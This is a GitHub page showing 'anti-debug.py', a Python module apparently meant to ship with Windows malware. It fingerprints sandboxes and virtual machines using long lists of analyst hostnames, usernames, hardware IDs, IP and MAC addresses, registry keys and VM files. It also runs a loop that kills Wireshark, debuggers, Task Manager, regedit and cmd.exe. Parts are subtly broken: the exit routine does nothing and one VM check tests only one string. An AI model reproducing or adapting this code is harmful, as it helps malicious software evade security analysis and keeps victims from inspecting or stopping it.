-
Notifications
You must be signed in to change notification settings - Fork 15
/
anti-debug.py
716 lines (674 loc) · 25.3 KB
/
anti-debug.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
import subprocess
import os
import winreg
import psutil
import platform
import requests
import getmac
import ssl
import socket
import OpenSSL
import threading
import difflib
class SSLPinner:
def __init__(self, host):
self.host = host
def similar(self, a, b):
return difflib.SequenceMatcher(None, a, b).ratio()
def get_cert(self):
try:
context = ssl.create_default_context()
conn = socket.create_connection((self.host, 443))
sock = context.wrap_socket(conn, server_hostname=self.host)
sock.settimeout(10)
try:
der_cert = sock.getpeercert(True)
finally:
sock.close()
return ssl.DER_cert_to_PEM_cert(der_cert)
except:
return False
def pin(self):
certificate = self.get_cert()
if not certificate:
return False
x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certificate)
result = {
"subject": dict(x509.get_subject().get_components()),
"issuer": dict(x509.get_issuer().get_components()),
"serialNumber": x509.get_serial_number(),
"version": x509.get_version(),
}
extensions = (x509.get_extension(i) for i in range(x509.get_extension_count()))
extension_data = {e.get_short_name(): str(e) for e in extensions}
result.update(extension_data)
_str = r"{'subject': {b'CN': b'*.tiktok.com'}, 'issuer': {b'C': b'US', b'O': b'DigiCert Inc', b'CN': b'RapidSSL TLS DV RSA Mixed SHA256 2020 CA-1'}, 'serialNumber': 10563365078873817837960662065118294014, 'version': 2, b'authorityKeyIdentifier': 'keyid:A4:8D:E5:BE:7C:79:E4:70:23:6D:2E:29:34:AD:23:58:DC:F5:31:7F\n', b'subjectKeyIdentifier': '82:95:09:E5:DB:5F:56:24:04:A2:D5:CA:C6:98:02:18:7B:11:4A:D3', b'subjectAltName': 'DNS:*.tiktok.com, DNS:tiktok.com', b'keyUsage': 'Digital Signature, Key Encipherment', b'extendedKeyUsage': 'TLS Web Server Authentication, TLS Web Client Authentication', b'crlDistributionPoints': '\nFull Name:\n URI:http://crl3.digicert.com/RapidSSLTLSDVRSAMixedSHA2562020CA-1.crl\n\nFull Name:\n URI:http://crl4.digicert.com/RapidSSLTLSDVRSAMixedSHA2562020CA-1.crl\n', b'certificatePolicies': 'Policy: 2.23.140.1.2.1\n CPS: http://www.digicert.com/CPS\n', b'authorityInfoAccess': 'OCSP - URI:http://ocsp.digicert.com\nCA Issuers - URI:http://cacerts.digicert.com/RapidSSLTLSDVRSAMixedSHA2562020CA-1.crt\n', b'basicConstraints': 'CA:FALSE', b'ct_precert_scts': 'Signed Certificate Timestamp:\n Version : v1 (0x0)\n Log ID : 29:79:BE:F0:9E:39:39:21:F0:56:73:9F:63:A5:77:E5:\n BE:57:7D:9C:60:0A:F8:F9:4D:5D:26:5C:25:5D:C7:84\n Timestamp : Aug 20 06:34:51.301 2021 GMT\n Extensions: none\n Signature : ecdsa-with-SHA256\n 30:44:02:20:3E:E4:D6:59:EC:22:65:35:0B:56:33:D3:\n 55:C6:E6:3D:48:C5:4A:D0:BA:8D:FD:6E:0F:9B:90:0A:\n 8A:73:FC:DB:02:20:6E:4B:5E:EA:EF:EE:AD:A9:FA:F1:\n 77:2E:28:87:58:D1:AF:C3:9B:96:6D:CB:19:80:03:CF:\n A7:7D:6C:49:55:88\nSigned Certificate Timestamp:\n Version : v1 (0x0)\n Log ID : 51:A3:B0:F5:FD:01:79:9C:56:6D:B8:37:78:8F:0C:A4:\n 7A:CC:1B:27:CB:F7:9E:88:42:9A:0D:FE:D4:8B:05:E5\n Timestamp : Aug 20 06:34:51.407 2021 GMT\n Extensions: none\n Signature : ecdsa-with-SHA256\n 30:46:02:21:00:FA:94:CD:71:C1:9D:58:0F:26:84:7C:\n BF:E9:28:BB:AF:89:8C:DB:19:C3:4C:CA:E5:A0:62:D2:\n FB:3E:24:1E:9B:02:21:00:AC:D4:22:35:BC:09:5C:9E:\n 89:10:A9:4B:AA:B1:2D:32:D3:E1:55:67:5E:F9:CF:F0:\n 25:D0:1C:5B:72:06:AC:C2\nSigned Certificate Timestamp:\n Version : v1 (0x0)\n Log ID : 41:C8:CA:B1:DF:22:46:4A:10:C6:A1:3A:09:42:87:5E:\n 4E:31:8B:1B:03:EB:EB:4B:C7:68:F0:90:62:96:06:F6\n Timestamp : Aug 20 06:34:51.325 2021 GMT\n Extensions: none\n Signature : ecdsa-with-SHA256\n 30:46:02:21:00:91:61:96:CC:4F:6E:0D:C1:2A:EF:25:\n 06:89:BB:2B:DB:71:31:45:F8:A9:20:04:B7:4C:CB:28:\n 1E:A8:47:DA:48:02:21:00:82:77:71:59:94:7C:B1:F8:\n B7:79:14:05:0B:A1:C5:AD:05:08:F1:C8:C1:B8:6A:7A:\n CA:3B:6A:A1:54:52:C9:B7'}"
if self.similar(str(result), _str) > 0.8:
return True
else:
return False
class Antidebug:
def __init__(self) -> None:
pass
def _exit(self):
return True
def user_check(self):
USERS = [
"BEE7370C-8C0C-4",
"DESKTOP-NAKFFMT",
"WIN-5E07COS9ALR",
"B30F0242-1C6A-4",
"DESKTOP-VRSQLAG",
"Q9IATRKPRH",
"XC64ZB",
"DESKTOP-D019GDM",
"DESKTOP-WI8CLET",
"SERVER1",
"LISA-PC",
"JOHN-PC",
"DESKTOP-B0T93D6",
"DESKTOP-1PYKP29",
"DESKTOP-1Y2433R",
"WILEYPC",
"WORK",
"6C4E733F-C2D9-4",
"RALPHS-PC",
"DESKTOP-WG3MYJS",
"DESKTOP-7XC6GEZ",
"DESKTOP-5OV9S0O",
"QarZhrdBpj",
"ORELEEPC",
"ARCHIBALDPC",
"JULIA-PC",
"d1bnJkfVlH",
"WDAGUtilityAccount",
"Abby",
"patex",
"RDhJ0CNFevzX",
"kEecfMwgj",
"Frank",
"8Nl0ColNQ5bq",
"Lisa",
"John",
"george",
"PxmdUOpVyx",
"8VizSM",
"w0fjuOVmCcP5A",
"lmVwjj9b",
"PqONjHVwexsS",
"3u2v9m8",
"Julia",
"HEUeRzl",
"fred",
"server",
"BvJChRPnsxn",
"Harry Johnson",
"SqgFOf3G",
"Lucas",
"mike",
"PateX",
"h7dk1xPr",
"Louise",
"User01",
"test",
"RGzcBUyrznReg",
"OgJb6GqgK0O",
]
try:
USER = os.getlogin()
if USER in USERS:
self._exit()
except:
pass
def hwid_check(self):
HWIDS = [
"7AB5C494-39F5-4941-9163-47F54D6D5016",
"03DE0294-0480-05DE-1A06-350700080009",
"11111111-2222-3333-4444-555555555555",
"6F3CA5EC-BEC9-4A4D-8274-11168F640058",
"ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548",
"4C4C4544-0050-3710-8058-CAC04F59344A",
"00000000-0000-0000-0000-AC1F6BD04972",
"00000000-0000-0000-0000-000000000000",
"5BD24D56-789F-8468-7CDC-CAA7222CC121",
"49434D53-0200-9065-2500-65902500E439",
"49434D53-0200-9036-2500-36902500F022",
"777D84B3-88D1-451C-93E4-D235177420A7",
"49434D53-0200-9036-2500-369025000C65",
"B1112042-52E8-E25B-3655-6A4F54155DBF",
"00000000-0000-0000-0000-AC1F6BD048FE",
"EB16924B-FB6D-4FA1-8666-17B91F62FB37",
"A15A930C-8251-9645-AF63-E45AD728C20C",
"67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3",
"C7D23342-A5D4-68A1-59AC-CF40F735B363",
"63203342-0EB0-AA1A-4DF5-3FB37DBB0670",
"44B94D56-65AB-DC02-86A0-98143A7423BF",
"6608003F-ECE4-494E-B07E-1C4615D1D93C",
"D9142042-8F51-5EFF-D5F8-EE9AE3D1602A",
"49434D53-0200-9036-2500-369025003AF0",
"8B4E8278-525C-7343-B825-280AEBCD3BCB",
"4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27",
"79AF5279-16CF-4094-9758-F88A616D81B4",
"FF577B79-782E-0A4D-8568-B35A9B7EB76B",
"08C1E400-3C56-11EA-8000-3CECEF43FEDE",
"6ECEAF72-3548-476C-BD8D-73134A9182C8",
"49434D53-0200-9036-2500-369025003865",
"119602E8-92F9-BD4B-8979-DA682276D385",
"12204D56-28C0-AB03-51B7-44A8B7525250",
"63FA3342-31C7-4E8E-8089-DAFF6CE5E967",
"365B4000-3B25-11EA-8000-3CECEF44010C",
"D8C30328-1B06-4611-8E3C-E433F4F9794E",
"00000000-0000-0000-0000-50E5493391EF",
"00000000-0000-0000-0000-AC1F6BD04D98",
"4CB82042-BA8F-1748-C941-363C391CA7F3",
"B6464A2B-92C7-4B95-A2D0-E5410081B812",
"BB233342-2E01-718F-D4A1-E7F69D026428",
"9921DE3A-5C1A-DF11-9078-563412000026",
"CC5B3F62-2A04-4D2E-A46C-AA41B7050712",
"00000000-0000-0000-0000-AC1F6BD04986",
"C249957A-AA08-4B21-933F-9271BEC63C85",
"BE784D56-81F5-2C8D-9D4B-5AB56F05D86E",
"ACA69200-3C4C-11EA-8000-3CECEF4401AA",
"3F284CA4-8BDF-489B-A273-41B44D668F6D",
"BB64E044-87BA-C847-BC0A-C797D1A16A50",
"2E6FB594-9D55-4424-8E74-CE25A25E36B0",
"42A82042-3F13-512F-5E3D-6BF4FFFD8518",
"38AB3342-66B0-7175-0B23-F390B3728B78",
"48941AE9-D52F-11DF-BBDA-503734826431",
"A7721742-BE24-8A1C-B859-D7F8251A83D3",
"3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E",
"D2DC3342-396C-6737-A8F6-0C6673C1DE08",
"EADD1742-4807-00A0-F92E-CCD933E9D8C1",
"AF1B2042-4B90-0000-A4E4-632A1C8C7EB1",
"FE455D1A-BE27-4BA4-96C8-967A6D3A9661",
"921E2042-70D3-F9F1-8CBD-B398A21F89C6",
"6AA13342-49AB-DC46-4F28-D7BDDCE6BE32",
"F68B2042-E3A7-2ADA-ADBC-A6274307A317",
"07AF2042-392C-229F-8491-455123CC85FB",
"4EDF3342-E7A2-5776-4AE5-57531F471D56",
"032E02B4-0499-05C3-0806-3C0700080009",
]
try:
HWID = (
subprocess.check_output(
r"wmic csproduct get uuid", creationflags=0x08000000
)
.decode()
.split("\n")[1]
.strip()
)
if HWID in HWIDS:
self._exit()
except Exception:
pass
def gpu_check(self):
GPUS = [
"NVIDIA GeForce 9500 GT (Microsoft Corporation - WDDM v1.1)",
"Стандартный VGA графический адаптер",
"Microsoft Remote Display Adapter",
"Microsoft Basic Display Adapter",
"Standard VGA Graphics Adapter",
"ASPEED Graphics Family(WDDM)",
"Intel(R) HD Graphics 4600",
"Microsoft Hyper-V Video",
"VirtualBox Graphics Adapter",
"NVIDIA GeForce 9400M",
"NVIDIA GeForce 840M",
"AMD Radeon HD 8650G",
"VMware SVGA 3D",
"UKBEHH_S",
"H_EDEUEK",
"5LXPA8ES",
"9SF72FG7",
"YNVLCUKZ",
"W1TO6L3T",
"K9SC88UK",
"M5RGU9RY",
"PC1ESCG3",
"6BOS4O7U",
"LD8LLLOD",
"H1_SDVLF",
"7TB9G6P7",
"HP8WD3MX",
"CWTM14GS",
"OEFUG1_W",
"DE92L2UN",
"P9T_AU3X",
"XMX85CAL",
"KBBFOHZN",
"KOD68ZH1",
"R69XK_H3",
]
try:
GPU = (
subprocess.check_output(
r"wmic path win32_VideoController get name",
creationflags=0x08000000,
)
.decode()
.strip("Name\n")
.strip()
)
for gpu in GPUS:
if gpu in GPU.split("\n"):
self._exit()
except Exception:
pass
def name_check(self):
NAMES = [
"BEE7370C-8C0C-4",
"DESKTOP-NAKFFMT",
"WIN-5E07COS9ALR",
"B30F0242-1C6A-4",
"DESKTOP-VRSQLAG",
"Q9IATRKPRH",
"XC64ZB",
"DESKTOP-D019GDM",
"DESKTOP-WI8CLET",
"SERVER1",
"LISA-PC",
"JOHN-PC",
"DESKTOP-B0T93D6",
"DESKTOP-1PYKP29",
"DESKTOP-1Y2433R",
"WILEYPC",
"WORK",
"6C4E733F-C2D9-4",
"RALPHS-PC",
"DESKTOP-WG3MYJS",
"DESKTOP-7XC6GEZ",
"DESKTOP-5OV9S0O",
"QarZhrdBpj",
"ORELEEPC",
"ARCHIBALDPC",
"JULIA-PC",
"d1bnJkfVlH",
"NETTYPC",
"DESKTOP-BUGIO",
"DESKTOP-CBGPFEE",
"SERVER-PC",
"TIQIYLA9TW5M",
"DESKTOP-KALVINO",
"COMPNAME_4047",
"DESKTOP-19OLLTD",
"DESKTOP-DE369SE",
"EA8C2E2A-D017-4",
"AIDANPC",
"LUCAS-PC",
"ACEPC",
"MIKE-PC",
"DESKTOP-IAPKN1P",
"DESKTOP-NTU7VUO",
"LOUISE-PC",
"T00917",
"test42",
"DESKTOP-CM0DAW8",
]
try:
NAME = os.getenv("COMPUTERNAME")
if NAME in NAMES:
self._exit()
except:
pass
def path_check(self):
try:
for path in [r"D:\Tools", r"D:\OS2", r"D:\NT3X"]:
if os.path.exists(path):
self._exit()
except:
pass
def platform_check(self):
try:
PLATFORMS = [
"Windows-XP-5.1.2600-SP2",
"Microsoft Windows Server 2022 Standard Evaluation",
"\xd0\x9f\xd1\x80\xd0\xbe\xd1\x84\xd0\xb5\xd1\x81\xd1\x81\xd0\xb8\xd0\xbe\xd0\xbd\xd0\xb0\xd0\xbb\xd1\x8c\xd0\xbd\xd0\xb0\xd1\x8f",
]
PLATFORM = str(platform.version())
if PLATFORM in PLATFORMS:
self._exit()
except:
pass
def ip_check(self):
try:
IPS = [
"None",
"88.132.231.71",
"78.139.8.50",
"20.99.160.173",
"88.153.199.169",
"84.147.62.12",
"194.154.78.160",
"92.211.109.160",
"195.74.76.222",
"188.105.91.116",
"34.105.183.68",
"92.211.55.199",
"79.104.209.33",
"95.25.204.90",
"34.145.89.174",
"109.74.154.90",
"109.145.173.169",
"34.141.146.114",
"212.119.227.151",
"195.239.51.59",
"192.40.57.234",
"64.124.12.162",
"34.142.74.220",
"188.105.91.173",
"109.74.154.91",
"34.105.72.241",
"109.74.154.92",
"213.33.142.50",
"109.74.154.91",
"93.216.75.209",
"192.87.28.103",
"88.132.226.203",
"195.181.175.105",
"88.132.225.100",
"92.211.192.144",
"34.83.46.130",
"188.105.91.143",
"34.85.243.241",
"34.141.245.25",
"178.239.165.70",
"84.147.54.113",
"193.128.114.45",
"95.25.81.24",
"92.211.52.62",
"88.132.227.238",
"35.199.6.13",
"80.211.0.97",
"34.85.253.170",
"23.128.248.46",
"35.229.69.227",
"34.138.96.23",
"192.211.110.74",
"35.237.47.12",
"87.166.50.213",
"34.253.248.228",
"212.119.227.167",
"193.225.193.201",
"34.145.195.58",
"34.105.0.27",
"195.239.51.3",
"35.192.93.107",
"213.33.190.22",
"194.154.78.152",
]
IP = requests.get("https://api.myip.com").json()["ip"]
if IP in IPS:
self._exit()
except:
pass
def mac_check(self):
try:
MACS = [
"00:03:47:63:8b:de",
"00:0c:29:05:d8:6e",
"00:0c:29:2c:c1:21",
"00:0c:29:52:52:50",
"00:0d:3a:d2:4f:1f",
"00:15:5d:00:00:1d",
"00:15:5d:00:00:a4",
"00:15:5d:00:00:b3",
"00:15:5d:00:00:c3",
"00:15:5d:00:00:f3",
"00:15:5d:00:01:81",
"00:15:5d:00:02:26",
"00:15:5d:00:05:8d",
"00:15:5d:00:05:d5",
"00:15:5d:00:06:43",
"00:15:5d:00:07:34",
"00:15:5d:00:1a:b9",
"00:15:5d:00:1c:9a",
"00:15:5d:13:66:ca",
"00:15:5d:13:6d:0c",
"00:15:5d:1e:01:c8",
"00:15:5d:23:4c:a3",
"00:15:5d:23:4c:ad",
"00:15:5d:b6:e0:cc",
"00:1b:21:13:15:20",
"00:1b:21:13:21:26",
"00:1b:21:13:26:44",
"00:1b:21:13:32:20",
"00:1b:21:13:32:51",
"00:1b:21:13:33:55",
"00:23:cd:ff:94:f0",
"00:25:90:36:65:0c",
"00:25:90:36:65:38",
"00:25:90:36:f0:3b",
"00:25:90:65:39:e4",
"00:50:56:97:a1:f8",
"00:50:56:97:ec:f2",
"00:50:56:97:f6:c8",
"00:50:56:a0:06:8d",
"00:50:56:a0:38:06",
"00:50:56:a0:39:18",
"00:50:56:a0:45:03",
"00:50:56:a0:59:10",
"00:50:56:a0:61:aa",
"00:50:56:a0:6d:86",
"00:50:56:a0:84:88",
"00:50:56:a0:af:75",
"00:50:56:a0:cd:a8",
"00:50:56:a0:d0:fa",
"00:50:56:a0:d7:38",
"00:50:56:a0:dd:00",
"00:50:56:ae:5d:ea",
"00:50:56:ae:6f:54",
"00:50:56:ae:b2:b0",
"00:50:56:ae:e5:d5",
"00:50:56:b3:05:b4",
"00:50:56:b3:09:9e",
"00:50:56:b3:14:59",
"00:50:56:b3:21:29",
"00:50:56:b3:38:68",
"00:50:56:b3:38:88",
"00:50:56:b3:3b:a6",
"00:50:56:b3:42:33",
"00:50:56:b3:4c:bf",
"00:50:56:b3:50:de",
"00:50:56:b3:91:c8",
"00:50:56:b3:94:cb",
"00:50:56:b3:9e:9e",
"00:50:56:b3:a9:36",
"00:50:56:b3:d0:a7",
"00:50:56:b3:dd:03",
"00:50:56:b3:ea:ee",
"00:50:56:b3:ee:e1",
"00:50:56:b3:f6:57",
"00:50:56:b3:fa:23",
"00:e0:4c:42:c7:cb",
"00:e0:4c:44:76:54",
"00:e0:4c:46:cf:01",
"00:e0:4c:4b:4a:40",
"00:e0:4c:56:42:97",
"00:e0:4c:7b:7b:86",
"00:e0:4c:94:1f:20",
"00:e0:4c:b3:5a:2a",
"00:e0:4c:b8:7a:58",
"00:e0:4c:cb:62:08",
"00:e0:4c:d6:86:77",
"06:75:91:59:3e:02",
"08:00:27:3a:28:73",
"08:00:27:45:13:10",
"12:1b:9e:3c:a6:2c",
"12:8a:5c:2a:65:d1",
"12:f8:87:ab:13:ec",
"16:ef:22:04:af:76",
"1a:6c:62:60:3b:f4",
"1c:99:57:1c:ad:e4",
"1e:6c:34:93:68:64",
"2e:62:e8:47:14:49",
"2e:b8:24:4d:f7:de",
"32:11:4d:d0:4a:9e",
"3c:ec:ef:43:fe:de",
"3c:ec:ef:44:00:d0",
"3c:ec:ef:44:01:0c",
"3c:ec:ef:44:01:aa",
"3e:1c:a1:40:b7:5f",
"3e:53:81:b7:01:13",
"3e:c1:fd:f1:bf:71",
"42:01:0a:8a:00:22",
"42:01:0a:8a:00:33",
"42:01:0a:8e:00:22",
"42:01:0a:96:00:22",
"42:01:0a:96:00:33",
"42:85:07:f4:83:d0",
"4e:79:c0:d9:af:c3",
"4e:81:81:8e:22:4e",
"52:54:00:3b:78:24",
"52:54:00:8b:a6:08",
"52:54:00:a0:41:92",
"52:54:00:ab:de:59",
"52:54:00:b3:e4:71",
"56:b0:6f:ca:0a:e7",
"56:e8:92:2e:76:0d",
"5a:e2:a6:a4:44:db",
"5e:86:e4:3d:0d:f6",
"60:02:92:3d:f1:69",
"60:02:92:66:10:79",
"7e:05:a3:62:9c:4d",
"90:48:9a:9d:d5:24",
"92:4c:a8:23:fc:2e",
"94:de:80:de:1a:35",
"96:2b:e9:43:96:76",
"a6:24:aa:ae:e6:12",
"ac:1f:6b:d0:48:fe",
"ac:1f:6b:d0:49:86",
"ac:1f:6b:d0:4d:98",
"ac:1f:6b:d0:4d:e4",
"b4:2e:99:c3:08:3c",
"b4:a9:5a:b1:c6:fd",
"b6:ed:9d:27:f4:fa",
"be:00:e5:c5:0c:e5",
"c2:ee:af:fd:29:21",
"c8:9f:1d:b6:58:e4",
"ca:4d:4b:ca:18:cc",
"d4:81:d7:87:05:ab",
"d4:81:d7:ed:25:54",
"d6:03:e4:ab:77:8e",
"ea:02:75:3c:90:9f",
"ea:f6:f1:a2:33:76",
"f6:a5:41:31:b2:78",
]
MAC = str(getmac.get_mac_address())
if MAC in MACS:
self._exit()
except:
pass
def registry_check(self):
reg1 = os.system(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul"
)
reg2 = os.system(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul"
)
if reg1 != 1 and reg2 != 1:
self._exit()
handle = winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum"
)
try:
reg_val = winreg.QueryValueEx(handle, "0")[0]
if ("VMware" or "VBOX") in reg_val:
self._exit()
finally:
winreg.CloseKey(handle)
def dll_check(self):
vmware_dll = os.path.join(os.environ["SystemRoot"], "System32\\vmGuestLib.dll")
virtualbox_dll = os.path.join(os.environ["SystemRoot"], "vboxmrxnp.dll")
if os.path.exists(vmware_dll):
self._exit()
if os.path.exists(virtualbox_dll):
self._exit()
def specs_check(self):
try:
RAM = str(psutil.virtual_memory()[0] / 1024**3).split(".")[0]
DISK = str(psutil.disk_usage("/")[0] / 1024**3).split(".")[0]
if int(RAM) <= 2:
self._exit()
if int(DISK) <= 50:
self._exit()
if int(psutil.cpu_count()) <= 1:
self._exit()
except:
pass
def proc_check(self):
processes = ["VMwareService.exe", "VMwareTray.exe"]
for proc in psutil.process_iter():
for program in processes:
if proc.name() == program:
self._exit()
def ssl_check(self):
try:
if SSLPinner("tiktok.com").pin():
self._exit()
except:
pass
def process_check(self):
while True:
PROCESSES = [
"http toolkit.exe",
"httpdebuggerui.exe",
"wireshark.exe",
"fiddler.exe",
"charles.exe",
"regedit.exe",
"cmd.exe",
"taskmgr.exe",
"vboxservice.exe",
"df5serv.exe",
"processhacker.exe",
"vboxtray.exe",
"vmtoolsd.exe",
"vmwaretray.exe",
"ida64.exe",
"ollydbg.exe",
"pestudio.exe",
"vmwareuser",
"vgauthservice.exe",
"vmacthlp.exe",
"x96dbg.exe",
"vmsrvc.exe",
"x32dbg.exe",
"vmusrvc.exe",
"prl_cc.exe",
"prl_tools.exe",
"qemu-ga.exe",
"joeboxcontrol.exe",
"ksdumperclient.exe",
"ksdumper.exe",
"joeboxserver.exe",
"xenservice.exe",
]
for proc in psutil.process_iter():
if any(procstr in proc.name().lower() for procstr in PROCESSES):
try:
proc.kill()
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
def __main__(self):
try:
self.path_check()
self.gpu_check()
self.hwid_check()
self.user_check()
self.name_check()
self.platform_check()
self.ip_check()
self.mac_check()
self.proc_check()
self.registry_check()
self.specs_check()
self.ssl_check()
threading.Thread(target=self.process_check).start()
return False
except:
return False
def check(self):
if Antidebug().__main__():
print("Program failed to execute")
else:
print("success")